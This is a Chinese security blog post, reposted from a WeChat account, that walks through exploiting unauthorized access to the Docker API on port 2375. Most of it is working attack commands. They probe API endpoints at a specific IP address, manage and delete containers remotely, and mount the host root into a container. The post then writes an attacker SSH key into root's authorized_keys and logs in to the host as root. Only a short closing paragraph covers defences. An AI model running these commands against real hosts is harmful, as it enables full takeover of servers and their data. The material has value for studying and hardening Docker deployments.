【云安全】云原生-Docker(六)Docker API 未授权访问

admin 2025年2月20日19:08:48评论16 views字数 1930阅读6分26秒阅读模式

Docker API 未授权访问 是一个非常严重的安全漏洞,可能导致严重的安全风险。

什么是 Docker API ?

Docker API 是 Docker 容器平台提供的一组 RESTful API,用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API,用户可以通过 HTTP 请求来执行诸如创建、启动、停止、删除容器等操作。同时,Docker API 还允许用户管理镜像、网络、卷等 Docker 资源。用户可以使用任何支持 HTTP 请求的工具或库来访问 Docker API,从而实现与 Docker 容器平台的集成和自动化管理。

Docker API 未授权访问 

漏洞背景

Docker 守护进程(Docker Daemon)默认监听在 Unix 套接字(`unix:///var/run/docker.sock`)上,但有时为了方便管理,用户会将 Docker API 暴露在 TCP 端口(如 `2375` 或 `2376`)上。如果未正确配置访问控制(如未启用 TLS 加密和认证),攻击者可以直接访问 Docker API,从而完全控制 Docker 主机及其容器。

漏洞复现

1、快速搭建环境

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

如果出现如下报错,表明 Docker 守护进程在启动时失败了,原因是 docker 守护进程已经在运行

【云安全】云原生-Docker(六)Docker API 未授权访问

停止进程,重新执行刚才的命令,环境搭建成功

#1、确认 Docker 守护进程是否正在运行ps aux | grep dockerd#2、如果正在运行,先停止它sudo systemctl stop docker
【云安全】云原生-Docker(六)Docker API 未授权访问

2、浏览器访问,这样即存在 Docker API 未授权访问漏洞

【云安全】云原生-Docker(六)Docker API 未授权访问

常见探测路径

http://39.105.123.35:2375/versionhttp://39.105.123.35:2375/infohttp://39.105.123.35:2375/images/jsonhttp://39.105.123.35:2375/containers/json    

3、攻击者便可以远程通过Docker客户端连接,以下为常见操作

#列出所有容器docker -H 39.105.123.35 ps -a#查看镜像docker -H 39.105.123.35 images#拉取镜像docker -H 39.105.123.35 pull ubuntu#停止一个已经运行的容器docker -H 39.105.123.35 stop c198868f6660#删除容器docker -H 39.105.123.35 rm c198868f6660#进入容器docker -H 39.105.123.35 exec -it 08d28346ff2d /bin/bash
【云安全】云原生-Docker(六)Docker API 未授权访问

4、写公钥获取shell

#生成公钥ssh-keygen -t rsa#查看生成的公钥cat /root/.ssh/id_rsa.pub#运行一个容器挂载宿主机的根目录到容器/mnt目录docker -H tcp://39.105.123.35 run -it -v /:/mnt --entrypoint /bin/bash nginx#写入公钥到宿主机echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBA/ZttXREVO+V615UhA2GoQvfmy1JnyJ0eqPnDlAyMxTi9Jahr0IBzqfxk+6hZzdy1a22YwnAOYnSvjkpR8eOYnxb0UoVmXpWMRNqW34v8liJGbc6m1Y5FsottqZfZVRe1UzfvuuOPnUW+oboqT5SvGSH0EXKiQoNFy4fafxHv2mO5E3roac1G1CbA/oPhbnFzFy8qcYjpc1BwSYG60+0IUutX+j2GasXFsieHKyV9U6a9vWLW4OkNUjCnzc/NEbgP/JG7t19NOHrjp4+IA7MGoCfui6G7j8a+PKslJG1hKu/B6frVfWNHVMQkBcmBxZtcmnCxeu+e10YiBtEPi+7 root@master-1" > /mnt/root/.ssh/authorized_keys
【云安全】云原生-Docker(六)Docker API 未授权访问

5、容器逃逸:连接目标主机获取shell

ssh root@39.105.123.35 -i id_rsa
【云安全】云原生-Docker(六)Docker API 未授权访问

总结

Docker API 未授权访问是一个高危漏洞,可能导致容器逃逸、数据泄露、恶意软件部署等严重后果。通过正确配置 TLS 加密、访问控制和防火墙规则,可以有效降低风险。同时,建议定期进行安全审计和漏洞扫描,确保 Docker 环境的安全性。 

原文始发于微信公众号(仇辉攻防):【云安全】云原生-Docker(六)Docker API 未授权访问

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月20日19:08:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【云安全】云原生-Docker(六)Docker API 未授权访问https://cn-sec.com/archives/3763898.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息